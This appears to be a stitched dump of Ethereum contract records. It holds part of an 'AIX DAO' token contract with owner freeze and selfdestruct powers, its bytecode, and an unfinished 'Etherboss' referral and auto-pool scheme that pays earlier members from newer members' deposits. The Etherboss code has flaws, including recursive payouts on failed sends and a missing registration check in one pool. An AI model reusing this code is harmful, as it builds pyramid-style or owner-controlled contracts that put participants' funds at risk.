decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract AIX is PausableToken { string public name; string public symbol; uint8 public decimals; /** * @dev Constructor that gives the founder all of the existing tokens. */ constructor() public { name = "AIX DAO"; symbol = "AIX"; decimals = 18; totalSupply = 300000000*1000000000000000000; founder = msg.sender; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } /** @dev Fires on every freeze of tokens * @param _owner address The owner address of frozen tokens. * @param amount uint256 The amount of tokens frozen */ event TokenFreezeEvent(address indexed _owner, uint256 amount); /** @dev Fires on every unfreeze of tokens * @param _owner address The owner address of unfrozen tokens. * @param amount uint256 The amount of tokens unfrozen */ event TokenUnfreezeEvent(address indexed _owner, uint256 amount); event TokensBurned(address indexed _owner, uint256 _tokens); mapping(address => uint256) internal frozenTokenBalances; function freezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= balanceOf(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.add(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenFreezeEvent(_owner,_value); } function unfreezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= getFrozenBalance(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.sub(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenUnfreezeEvent(_owner,_value); } function setFrozenBalance(address _owner, uint256 _newValue) internal { frozenTokenBalances[_owner]=_newValue; } function balanceOf(address _owner) view public returns(uint256) { return getTotalBalance(_owner).sub(getFrozenBalance(_owner)); } function getTotalBalance(address _owner) view public returns(uint256) { return balances[_owner]; } /** * @dev Gets the amount of tokens which belong to the specified address BUT are frozen now. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount of frozen tokens owned by the passed address. */ function getFrozenBalance(address _owner) view public returns(uint256) { return frozenTokenBalances[_owner]; } /* * @dev Token burn function * @param _tokens uint256 amount of tokens to burn */ function burnTokens(uint256 _tokens) public onlyOwner { require(balanceOf(msg.sender) >= _tokens); balances[msg.sender] = balances[msg.sender].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit TokensBurned(msg.sender, _tokens); } function destroy(address payable _benefitiary) external onlyOwner{ selfdestruct(_benefitiary); } }
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610625578063d3d381931461068b578063d73dd623146106e3578063dd62ed3e14610749578063e9b2f0ad146107c1578063f2fde38b1461080f5761014c565b806370a08231146104505780638456cb59146104a85780638da5cb5b146104b257806395d89b41146104fc5780639f2cfaf11461057f578063a4df6c6a146105d75761014c565b8063313ce56711610115578063313ce567146103225780633f4ba83a146103465780634d853ee5146103505780635c975abb1461039a57806366188463146103bc5780636d1b229d146104225761014c565b8062f55d9d1461015157806306fdde0314610195578063095ea7b31461021857806318160ddd1461027e57806323b872dd1461029c575b600080fd5b6101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610853565b005b61019d6108c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5780820151818401526020810190506101c2565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102646004803603604081101561022e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610964565b604051808215151515815260200191505060405180910390f35b6102866109ea565b6040518082815260200191505060405180910390f35b610308600480360360608110156102b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f0565b604051808215151515815260200191505060405180910390f35b61032a610a78565b604051808260ff1660ff16815260200191505060405180910390f35b61034e610a8b565b005b610358610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610b6d565b604051808215151515815260200191505060405180910390f35b610408600480360360408110156103d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b604051808215151515815260200191505060405180910390f35b61044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050610c06565b005b6104926004803603602081101561046657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d76565b6040518082815260200191505060405180910390f35b6104b0610da2565b005b6104ba610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610504610edd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c16004803603602081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc4565b005b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b5565b604051808215151515815260200191505060405180910390f35b6106cd600480360360208110156106a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b61072f600480360360408110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611184565b604051808215151515815260200191505060405180910390f35b6107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611291565b005b6108516004803603602081101561082557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611382565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095c5780601f106109315761010080835404028352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b6000600460009054906101000a900460ff1615806109cf5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109d857600080fd5b6109e283836114d6565b905092915050565b60005481565b6000600460009054906101000a900460ff161580610a5b5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a6457600080fd5b610a6f84848461165b565b90509392505050565b600760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae557600080fd5b600460009054906101000a900460ff16610afe57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b6000600460009054906101000a900460ff161580610beb5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf457600080fd5b610bfe8383611a79565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6057600080fd5b80610c6a33610d76565b1015610c7557600080fd5b610cc781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1f81600054611d0a90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6826040518082815260200191505060405180910390a250565b6000610d9b610d8483610f7b565b610d8d8461113b565b611d0a90919063ffffffff16565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b600460009054906101000a900460ff161580610e655750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e6e57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f735780601f10610f4857610100808354040283529160200191610f73565b820191906000526020600020905b815481529060010190602001808311610f5657829003601f168201915b505050505081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b61102782610d76565b81111561103357600080fd5b600061103e83610f7b565b905060006110558383611d2190919063ffffffff16565b90506110618482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f2303912415a23c08c0cbb3a0b2b2813870ad5a2fd7b18c6d9da7d0086d9c188e846040518082815260200191505060405180910390a250505050565b6000600460009054906101000a900460ff1615806111205750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61112957600080fd5b6111338383611d85565b905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900460ff1615806111ef5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111f857600080fd5b6112028383611f6e565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112eb57600080fd5b6112f482610f7b565b81111561130057600080fd5b600061130b83610f7b565b905060006113228383611d0a90919063ffffffff16565b905061132e8482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f25f6369ffb8611a066eafc897e56f4f4d2b8fc713cca586bd93e9b1af04a6cc0846040518082815260200191505060405180910390a250505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561141657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082148061156257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61156b57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561169657600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561171f57600080fd5b8161172985610d76565b101561173457600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b116117d057600080fd5b61182282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611b8a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1e565b611b9d8382611d0a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115611d1657fe5b818303905092915050565b600080828401905083811015611d3357fe5b8091505092915050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc057600080fd5b611dc933610d76565b821115611dd557600080fd5b611e2782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611fff82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fea265627a7a72315820c5b035e7c95480dfd1625ae18a84e7c880247834df51534c4078bc68c54dcbb864736f6c634300050b0032
{"success": true, "error": null, "results": {}}
3,685
0x8cb3a2081962c289036ba5f766681eac616448f8
/** *Submitted for verification at Etherscan.io on 2020-06-15 */ pragma solidity 0.5.11 - 0.6.4; contract Etherboss { address public ownerWallet; uint public currUserID = 0; uint public pool1currUserID = 0; uint public pool2currUserID = 0; uint public pool3currUserID = 0; uint public pool4currUserID = 0; uint public pool5currUserID = 0; uint public pool6currUserID = 0; uint public pool7currUserID = 0; uint public pool8currUserID = 0; uint public pool9currUserID = 0; uint public pool10currUserID = 0; uint public pool1activeUserID = 0; uint public pool2activeUserID = 0; uint public pool3activeUserID = 0; uint public pool4activeUserID = 0; uint public pool5activeUserID = 0; uint public pool6activeUserID = 0; uint public pool7activeUserID = 0; uint public pool8activeUserID = 0; uint public pool9activeUserID = 0; uint public pool10activeUserID = 0; uint public unlimited_level_price=0; struct UserStruct { bool isExist; uint id; uint referrerID; uint referredUsers; mapping(uint => uint) levelExpired; } struct PoolUserStruct { bool isExist; uint id; uint payment_received; } mapping (address => UserStruct) public users; mapping (uint => address) public userList; mapping (address => PoolUserStruct) public pool1users; mapping (uint => address) public pool1userList; mapping (address => PoolUserStruct) public pool2users; mapping (uint => address) public pool2userList; mapping (address => PoolUserStruct) public pool3users; mapping (uint => address) public pool3userList; mapping (address => PoolUserStruct) public pool4users; mapping (uint => address) public pool4userList; mapping (address => PoolUserStruct) public pool5users; mapping (uint => address) public pool5userList; mapping (address => PoolUserStruct) public pool6users; mapping (uint => address) public pool6userList; mapping (address => PoolUserStruct) public pool7users; mapping (uint => address) public pool7userList; mapping (address => PoolUserStruct) public pool8users; mapping (uint => address) public pool8userList; mapping (address => PoolUserStruct) public pool9users; mapping (uint => address) public pool9userList; mapping (address => PoolUserStruct) public pool10users; mapping (uint => address) public pool10userList; mapping(uint => uint) public LEVEL_PRICE; uint REGESTRATION_FESS=0.06 ether; uint pool1_price=0.05 ether; uint pool2_price=0.07 ether ; uint pool3_price=0.10 ether; uint pool4_price=0.15 ether; uint pool5_price=0.20 ether; uint pool6_price=0.25 ether; uint pool7_price=0.40 ether ; uint pool8_price=0.7 ether; uint pool9_price=1.5 ether; uint pool10_price=3 ether; event regLevelEvent(address indexed _user, address indexed _referrer, uint _time); event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time); event regPoolEntry(address indexed _user,uint _level, uint _time); event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time); UserStruct[] public requests; constructor() public { ownerWallet = msg.sender; LEVEL_PRICE[1] = 0.01 ether; LEVEL_PRICE[2] = 0.003 ether; LEVEL_PRICE[3] = 0.0015 ether; LEVEL_PRICE[4] = 0.00025 ether; unlimited_level_price=0.00025 ether; UserStruct memory userStruct; currUserID++; userStruct = UserStruct({ isExist: true, id: currUserID, referrerID: 0, referredUsers:0 }); users[ownerWallet] = userStruct; userList[currUserID] = ownerWallet; PoolUserStruct memory pooluserStruct; pool1currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool1currUserID, payment_received:0 }); pool1activeUserID=pool1currUserID; pool1users[msg.sender] = pooluserStruct; pool1userList[pool1currUserID]=msg.sender; pool2currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool2currUserID, payment_received:0 }); pool2activeUserID=pool2currUserID; pool2users[msg.sender] = pooluserStruct; pool2userList[pool2currUserID]=msg.sender; pool3currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool3currUserID, payment_received:0 }); pool3activeUserID=pool3currUserID; pool3users[msg.sender] = pooluserStruct; pool3userList[pool3currUserID]=msg.sender; pool4currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool4currUserID, payment_received:0 }); pool4activeUserID=pool4currUserID; pool4users[msg.sender] = pooluserStruct; pool4userList[pool4currUserID]=msg.sender; pool5currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool5currUserID, payment_received:0 }); pool5activeUserID=pool5currUserID; pool5users[msg.sender] = pooluserStruct; pool5userList[pool5currUserID]=msg.sender; pool6currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool6currUserID, payment_received:0 }); pool6activeUserID=pool6currUserID; pool6users[msg.sender] = pooluserStruct; pool6userList[pool6currUserID]=msg.sender; pool7currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool7currUserID, payment_received:0 }); pool7activeUserID=pool7currUserID; pool7users[msg.sender] = pooluserStruct; pool7userList[pool7currUserID]=msg.sender; pool8currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool8currUserID, payment_received:0 }); pool8activeUserID=pool8currUserID; pool8users[msg.sender] = pooluserStruct; pool8userList[pool8currUserID]=msg.sender; pool9currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool9currUserID, payment_received:0 }); pool9activeUserID=pool9currUserID; pool9users[msg.sender] = pooluserStruct; pool9userList[pool9currUserID]=msg.sender; pool10currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool10currUserID, payment_received:0 }); pool10activeUserID=pool10currUserID; pool10users[msg.sender] = pooluserStruct; pool10userList[pool10currUserID]=msg.sender; } function regUser(uint _referrerID) public payable { require(!users[msg.sender].isExist, "User Exists"); require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID'); require(msg.value == REGESTRATION_FESS, 'Incorrect Value'); UserStruct memory userStruct; currUserID++; userStruct = UserStruct({ isExist: true, id: currUserID, referrerID: _referrerID, referredUsers:0 }); users[msg.sender] = userStruct; userList[currUserID]=msg.sender; users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1; payReferral(1,msg.sender); emit regLevelEvent(msg.sender, userList[_referrerID], now); } function payReferral(uint _level, address _user) internal { address referer; referer = userList[users[_user].referrerID]; bool sent = false; uint level_price_local=0; if(_level>4){ level_price_local=unlimited_level_price; } else{ level_price_local=LEVEL_PRICE[_level]; } sent = address(uint160(referer)).send(level_price_local); if (sent) { emit getMoneyForLevelEvent(referer, msg.sender, _level, now); if(_level < 100 && users[referer].referrerID >= 1){ payReferral(_level+1,referer); } else { sendBalance(); } } if(!sent) { // emit lostMoneyForLevelEvent(referer, msg.sender, _level, now); payReferral(_level, referer); } } function buyPool1() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool1users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool1_price, 'Incorrect Value'); PoolUserStruct memory userStruct; address pool1Currentuser=pool1userList[pool1activeUserID]; pool1currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool1currUserID, payment_received:0 }); pool1users[msg.sender] = userStruct; pool1userList[pool1currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool1Currentuser)).send(pool1_price); if (sent) { pool1users[pool1Currentuser].payment_received+=1; if(pool1users[pool1Currentuser].payment_received>=2) { pool1activeUserID+=1; } emit getPoolPayment(msg.sender,pool1Currentuser, 1, now); } emit regPoolEntry(msg.sender, 1, now); } function buyPool2() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool2users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool2_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool2Currentuser=pool2userList[pool2activeUserID]; pool2currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool2currUserID, payment_received:0 }); pool2users[msg.sender] = userStruct; pool2userList[pool2currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool2Currentuser)).send(pool2_price); if (sent) { pool2users[pool2Currentuser].payment_received+=1; if(pool2users[pool2Currentuser].payment_received>=3) { pool2activeUserID+=1; } emit getPoolPayment(msg.sender,pool2Currentuser, 2, now); } emit regPoolEntry(msg.sender,2, now); } function buyPool3() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool3users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool3_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool3Currentuser=pool3userList[pool3activeUserID]; pool3currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool3currUserID, payment_received:0 }); pool3users[msg.sender] = userStruct; pool3userList[pool3currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool3Currentuser)).send(pool3_price); if (sent) { pool3users[pool3Currentuser].payment_received+=1; if(pool3users[pool3Currentuser].payment_received>=3) { pool3activeUserID+=1; } emit getPoolPayment(msg.sender,pool3Currentuser, 3, now); } emit regPoolEntry(msg.sender,3, now); } function buyPool4() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool4users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool4_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool4Currentuser=pool4userList[pool4activeUserID]; pool4currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool4currUserID, payment_received:0 }); pool4users[msg.sender] = userStruct; pool4userList[pool4currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool4Currentuser)).send(pool4_price); if (sent) { pool4users[pool4Currentuser].payment_received+=1; if(pool4users[pool4Currentuser].payment_received>=3) { pool4activeUserID+=1; } emit getPoolPayment(msg.sender,pool4Currentuser, 4, now); } emit regPoolEntry(msg.sender,4, now); } function buyPool5() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool5users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool5_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool5Currentuser=pool5userList[pool5activeUserID]; pool5currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool5currUserID, payment_received:0 }); pool5users[msg.sender] = userStruct; pool5userList[pool5currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool5Currentuser)).send(pool5_price); if (sent) { pool5users[pool5Currentuser].payment_received+=1; if(pool5users[pool5Currentuser].payment_received>=3) { pool5activeUserID+=1; } emit getPoolPayment(msg.sender,pool5Currentuser, 5, now); } emit regPoolEntry(msg.sender,5, now); } function buyPool6() public payable { require(!pool6users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool6_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool6Currentuser=pool6userList[pool6activeUserID]; pool6currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool6currUserID, payment_received:0 }); pool6users[msg.sender] = userStruct; pool6userList[pool6currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool6Currentuser)).send(pool6_price); if (sent) { pool6users[pool6Currentuser].payment_received+=1; if(pool6users[pool6Currentuser].payment_received>=3) { pool6activeUserID+=1; } emit getPoolPayment(msg.sender,pool6Currentuser, 6, now); } emit regPoolEntry(msg.sender,6, now); } function buyPool7() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool7users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool7_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool7Currentuser=pool7userList[pool7activeUserID]; pool7currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool7currUserID, payment_received:0 }); pool7users[msg.sender] = userStruct; pool7userList[pool7currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool7Currentuser)).send(pool7_price); if (sent) { pool7users[pool7Currentuser].payment_received+=1; if(pool7users[pool7Currentuser].payment_received>=3) { pool7activeUserID+=1; } emit 